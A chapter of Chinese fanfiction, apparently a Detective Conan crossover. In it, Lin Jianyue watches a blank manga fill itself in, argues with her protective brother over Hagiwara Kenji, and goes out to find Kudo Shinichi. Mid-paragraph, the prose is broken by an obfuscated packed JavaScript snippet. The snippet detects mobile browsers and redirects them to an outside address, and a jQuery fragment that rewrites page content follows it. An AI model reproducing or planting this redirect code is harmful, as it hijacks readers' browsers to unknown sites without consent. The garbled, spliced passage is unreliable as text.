这套漫画书被林见月买回来后就一直摆在书架上,她只在拆封那天翻过几卷。但现在,被林见月握在手里的第一卷,画面戛然而止在工藤新一被敲击后脑勺后昏迷的那一格。 大雨,夜色,昏迷的名侦探。 再往后便是宛若印刷失误般的大段空白,像被人生生剜去后面的故事。 “见月,你还好吗?”哥哥试探出声,带着一丝讨好和担忧。 “是不是在东京受欺负了?我这两周有表演脱不开身,我给你买张机票,你来我这?” 言语间,漫画书上的故事突然开始延续。空白的页面渗出墨色,水墨画般徐徐展开,无声地续上了她熟悉的剧情——被缩小的名侦探在警察们的惊呼声中缓缓睁开眼。 林见月嘴唇抿成一条直线,带着一丝专注的严肃。 一个大胆的想法开始在她脑海中形成。 “没事的哥哥。”林见月放下书,掀起窗帘一角。窗外骤雨初歇,明月高悬,空气里弥漫着湿润的气息。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920451|177045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我只是突然有点想你了,”她垂眸看向正连绵不断出现新画面的漫画书,“我最近压力好大,又快生理期,一时没忍住。” 哥哥没有相信林见月说的鬼话,他沉默片刻,试探道:“萩原研二是谁?” 他小心翼翼的语气像在对待一件易碎的珍宝:“见月你跟哥哥说实话,是不是这个叫萩原研二的混蛋欺负你了?你别怕,哥哥努努力,也不是不能在日本找到人脉。哥哥帮你找人弄他!” “哥哥,萩原研二是警察,而且是机动队警察,在警视厅里当着小官。”林见月打断他,声音平得没起伏。 电话那头静了几秒,突然炸了:“你喜欢他?他是不是玩弄你感情了?见月你听着,这种狗东西——” “哥哥!” 林见月骤然拔高音量,打断哥哥自以为是的仗义豪言:“不许这么说研二,他人很好,不是那种会玩弄女人感情的渣男。” “……”哥哥再次沉默。 警察,人很好,不会劈腿,但是妹妹明显哭过,说话还带着鼻音。 他了解自家妹妹,不是逼得急了,她根本不会大哭一场然后给他打电话。 几秒过后,哥哥的声音再次传来,小心翼翼地,像踩在薄冰上:“他该不会是…… 殉职了?” “不理你了!” 林见月像只炸毛的猫,不等哥哥说完便先气呼呼挂断电话。 对世界融合后的未知恐惧和担忧转变成河豚般气鼓鼓的愤怒,胸口憋着一股莫名的火。 连续挂了哥哥的两个来电,Line 里塞满他的道歉小作文后,林见月彻底没了脾气。她先是向哥哥道歉,然后又编辑了长长一段解释,手指悬在屏幕上又停住。 如果世界真的融合,其他人关于漫画的记忆全部被清除,她要如何对一个不记得这些事的活人解释正在发生的光怪陆离的事。 她有神经衰弱的问题,熬夜最狠的那段时间,她甚至对光声敏感。她现在要是信誓旦旦地把漫画世界融合的论调告诉哥哥,翌日清晨他可能就会刷新在她门口,揪着她去看精神科医生。 林见月思考一瞬,决定撒个小谎:『嗯,恋爱了,但今天大吵了一架。』 管他呢,先把哥哥糊弄过去再说。 除去这个理由,她一时半会也想不出其他更好的能解释她今天情绪和刚才护犊子行为的借口。 收到林见月消息的男人像突然睡着般,诡异地安静下去。 林见月没有管手机大洋彼岸另一端突然陷入死寂的哥哥,转而翻看起漫画书。 故事里,变小的名侦探淋着又下起来的大雨,一路狂奔至工藤大宅外,正和被危险试验从自家院子里轰飞出去的阿笠博士争吵。 林见月往包里塞了一把折叠小刀和微型手电筒,披上外套站到房门前。她把手搭在门把上,连续做了几个深呼吸,随即目光坚毅,推门走了出去。 逃避没有用。 拿不到多摩的毕业证,她哪也不去。 她要去找工藤新一,亲自验证心中的猜想。 走廊的明黄色灯光铺满她全身,晕开温暖的色泽。沉寂许久的哥哥终于重新开机,Line 消息像炸开一样跳出来。 『不行!!』 『日本男人没一个好东西!!』 『我的宝贝妹妹绝不能和日本男人谈恋爱!!』 林见月看着屏幕,忽然低低地笑了一声,径直走进夜色里。